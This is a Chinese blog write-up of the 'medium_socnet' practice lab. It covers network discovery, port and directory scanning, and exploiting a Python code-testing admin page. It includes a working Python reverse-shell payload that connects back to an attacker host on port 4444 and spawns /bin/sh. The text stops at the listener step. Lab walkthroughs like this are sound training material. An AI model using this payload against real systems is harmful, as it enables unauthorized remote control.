medium_socnet

2024/10/25 2:21:15 来源：https://blog.csdn.net/weixin_58189050/article/details/142069736 浏览: 次关键词：medium_socnet

0x00前言

靶场要安装在virtualbox （最新版）。否者会出现一些问题。

攻击机：kali2024

靶机：medium_socnet

0x01信息搜集

因为把靶机和虚拟机啊放在了同一网段。

所以我先使用了 arp-scan,查看有多少同一网段ipUP 。

经过推断，发现 192.168.56.103是靶机IP。

接下来就可以对目标进行端口扫描，看看开放了那些端口。对版本服务也进行一个识别。

-p- 全端口扫描

nmap -p- 192.168.56.103

发现目标靶机开发了两个端口

经过发现 5000 有httpd，可能是一个网站并且是python语言搭建的。所以前去查看。

进入发现的确是一个网站。如下图

经过测试发现没有页面没有扫描东西。但是给了一个网站肯定有一些用处。

所以，可以尝试用dirsearch 进行目录扫描。

发现存在admin

发现这是一个测试代码的界面，所以可以尝试 rce 反弹shell.

0x01反弹shell

因为python搭建的要用python反弹shell.

import socket,os,subprocess
RHOST='192.168.56.105'  
RPORT=4444  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) 	# 连接攻击者
os.dup2(s.fileno(),0)		# 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

kali监听端口